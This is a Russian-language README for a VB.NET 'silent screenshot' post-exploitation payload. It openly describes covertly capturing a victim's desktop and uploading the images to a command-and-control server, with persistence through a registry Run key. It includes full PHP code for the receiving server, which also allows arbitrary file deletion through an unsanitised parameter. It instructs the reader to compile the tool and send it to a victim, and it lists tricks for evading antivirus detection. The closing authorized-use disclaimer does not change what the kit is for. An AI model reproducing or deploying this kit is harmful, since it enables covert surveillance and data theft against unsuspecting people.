Mr.Peter

Тихий снимок экрана | Полезная нагрузка после эксплуатации | ВБ.НЕТ

Простая полезная нагрузка, позволяющая сделать снимок экрана рабочего стола жертвы и загрузить его в C&C.

Функции:

• Постоянный (с использованием ключа запуска реестра)
• Работает в фоновом режиме
• Меньше кода, меньше ошибок и меньше обнаружения ;)
• Удаляет скриншот с диска после загрузки его в C&C.
• Командный сервер в base64
• Организованно загружайте скриншоты на C&C
• Переадресация портов не требуется! работает с одним файлом php
• [TODO] Информация о машине
• [TODO] Шифрование
• [TODO] Установить интервал удаленно из C&C

Установка и использование:

• Клонируйте этот репозиторий.
• Веб-хостинг, который я рекомендую, namecheap
• Перейдите в папку public_html, создайте новый файл PHP и поместите в него код ниже.

 <?php
$del = $_GET["dellog"];
$folder = $_GET["folder"];
mkdir($folder,0777);
$file = $_GET["path"];
if (!empty($_FILES["file"])){
move_uploaded_file($_FILES["file"]["tmp_name"],
      $file . "/" . $_FILES["file"]["name"]);
}
unlink($del);
?>

• Откройте проект в Visual Studio и отредактируйте переменную ниже в исходном коде.

 Dim server As String = BaseDecode1("your server address here in base64 encoded") 

• и также отредактируйте эту переменную ниже

 Dim php As String = "yourphpfilename.php?" & "folder="

• Просто скомпилируйте его и отправьте жертве и всё!!

Совет на миллион долларов ;)

Чтобы избежать обнаружения антивирусом

• Изменить значок приложения
• Создать новый GUID
• Изменяет все переменные
• Запутайте код с помощью Obfuscar
• Изменение информации о сборке

Пожертвование:

Если этот инструмент оказался для вас полезным, не стесняйтесь поблагодарить меня, купив мне кофе :)

Отказ от ответственности:

Этот инструмент предполагается использовать только в авторизованных системах. Любое несанкционированное использование этого инструмента без явного разрешения является незаконным.

Лицензия:

ГЕНЕРАЛЬНАЯ ПУБЛИЧНАЯ ЛИЦЕНЗИЯ GNU